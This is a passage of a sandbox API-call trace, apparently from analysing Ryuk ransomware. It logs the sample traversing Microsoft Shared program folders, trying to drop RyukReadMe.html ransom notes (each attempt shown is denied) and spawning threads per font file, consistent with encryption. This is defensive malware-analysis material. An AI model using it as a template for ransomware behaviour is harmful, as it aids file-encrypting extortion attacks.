	[0174.460] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c53c00, ftCreationTime.dwHighDateTime=0x1cbfdf3, ftLastAccessTime.dwLowDateTime=0xbd2c6940, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xc1c53c00, ftLastWriteTime.dwHighDateTime=0x1cbfdf3, nFileSizeHigh=0x0, nFileSizeLow=0xd0d50, dwReserved0=0x7c, dwReserved1=0x0, cFileName="msdia90.dll", cAlternateFileName="")) returned 0
	[0174.460] FindClose (in: hFindFile=0x7bfd0 | out: hFindFile=0x7bfd0) returned 1
	[0174.461] SetLastError (dwErrCode=0x0) 
	[0174.461] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0174.461] GetLastError () returned 0x5
	[0174.461] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0) returned 0
	[0174.461] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0174.461] FindNextFileW (in: hFindFile=0x7bf70, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName="VGX", cAlternateFileName="")) returned 1
	[0174.461] SetLastError (dwErrCode=0x0) 
	[0174.462] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0174.462] GetLastError () returned 0x5
	[0174.462] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0) returned 0
	[0174.462] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0174.462] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\*.*", lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7bfd0
	[0174.462] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0174.463] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a7ff6, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xee7a7ff6, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x454d7b80, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x10f200, dwReserved0=0x7c, dwReserved1=0x0, cFileName="VGX.dll", cAlternateFileName="")) returned 1
	[0174.463] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a7ff6, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xee7a7ff6, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x454d7b80, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x10f200, dwReserved0=0x7c, dwReserved1=0x0, cFileName="VGX.dll", cAlternateFileName="")) returned 0
	[0174.463] FindClose (in: hFindFile=0x7bfd0 | out: hFindFile=0x7bfd0) returned 1
	[0174.463] SetLastError (dwErrCode=0x0) 
	[0174.463] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0174.463] GetLastError () returned 0x5
	[0174.463] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0) returned 0
	[0174.463] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0174.464] FindNextFileW (in: hFindFile=0x7bf70, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName="Visio Shared", cAlternateFileName="VISIOS~1")) returned 1
	[0174.464] SetLastError (dwErrCode=0x0) 
	[0174.464] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0174.464] GetLastError () returned 0x5
	[0174.464] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0) returned 0
	[0174.464] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0174.464] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\*.*", lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7bfd0
	[0174.465] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0174.465] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1
	[0174.465] SetLastError (dwErrCode=0x0) 
	[0174.465] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0174.465] GetLastError () returned 0x5
	[0174.465] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0174.466] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0174.466] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x96, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c690
	[0174.538] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x96, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0174.538] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x4f2ea, dwReserved0=0x96, dwReserved1=0x0, cFileName="BIGFONT.SHX", cAlternateFileName="")) returned 1
	[0174.539] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0174.540] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x930
	[0174.542] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0174.543] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x81c076e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xa261d, dwReserved0=0x96, dwReserved1=0x0, cFileName="CHINESET.SHX", cAlternateFileName="")) returned 1
	[0174.543] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0174.544] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x934
	[0174.546] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0174.546] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x81eb4fa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x6a9e6, dwReserved0=0x96, dwReserved1=0x0, cFileName="EXTFONT.SHX", cAlternateFileName="")) returned 1
	[0174.546] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0174.547] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x938
	[0174.549] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0174.550] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8207e020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xdc6b9, dwReserved0=0x96, dwReserved1=0x0, cFileName="GBCBIG.SHX", cAlternateFileName="")) returned 1
	[0174.550] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0174.551] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x93c
	[0174.552] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0174.553] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2656900, ftCreationTime.dwHighDateTime=0x1c2706c, ftLastAccessTime.dwLowDateTime=0x820ca2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2656900, ftLastWriteTime.dwHighDateTime=0x1c2706c, nFileSizeHigh=0x0, nFileSizeLow=0x2b01, dwReserved0=0x96, dwReserved1=0x0, cFileName="IC-TXT.SHX", cAlternateFileName="")) returned 1
	[0174.553] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0174.554] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x940
	[0174.555] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0174.555] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8f60300, ftCreationTime.dwHighDateTime=0x1c324cc, ftLastAccessTime.dwLowDateTime=0x820ca2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc8f60300, ftLastWriteTime.dwHighDateTime=0x1c324cc, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x96, dwReserved1=0x0, cFileName="ICAD.FMP", cAlternateFileName="")) returned 1
	[0174.555] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0174.556] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x944
	[0174.638] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0174.639] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x853f7be0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x369d3, dwReserved0=0x96, dwReserved1=0x0, cFileName="WHGDTXT.SHX", cAlternateFileName="")) returned 1
	[0174.639] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0174.640] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x948
	[0174.641] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0174.642] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x853f7be0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x2fde5, dwReserved0=0x96, dwReserved1=0x0, cFileName="WHGTXT.SHX", cAlternateFileName="")) returned 1
	[0174.642] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0174.643] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x94c
	[0174.644] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0174.645] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x9e413, dwReserved0=0x96, dwReserved1=0x0, cFileName="WHTGTXT.SHX", cAlternateFileName="")) returned 1
	[0174.645] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0174.646] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x950
	[0174.648] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0174.649] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xdfc98, dwReserved0=0x96, dwReserved1=0x0, cFileName="WHTMTXT.SHX", cAlternateFileName="")) returned 1
	[0174.649] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0174.649] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x954
	[0174.651] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0174.652] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xdfc98, dwReserved0=0x96, dwReserved1=0x0, cFileName="WHTMTXT.SHX", cAlternateFileName="")) returned 0
	[0174.652] FindClose (in: hFindFile=0x7c690 | out: hFindFile=0x7c690) returned 1
	[0174.655] SetLastError (dwErrCode=0x0) 
	[0174.655] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0174.666] GetLastError () returned 0x5
	[0174.666] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0174.666] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0174.666] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 0
	[0174.667] FindClose (in: hFindFile=0x7bfd0 | out: hFindFile=0x7bfd0) returned 1
	[0174.667] SetLastError (dwErrCode=0x0) 
	[0174.667] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0174.667] GetLastError () returned 0x5
	[0174.667] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0) returned 0
	[0174.668] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0174.668] FindNextFileW (in: hFindFile=0x7bf70, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6cdb800, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName="VSTO", cAlternateFileName="")) returned 1
	[0174.668] SetLastError (dwErrCode=0x0) 
	[0174.668] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0174.668] GetLastError () returned 0x5
	[0174.668] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0) returned 0
	[0174.668] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0174.668] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\*.*", lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6cdb800, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7bfd0
	[0174.669] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6cdb800, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0174.669] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d4dc20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1
	[0174.669] SetLastError (dwErrCode=0x0) 
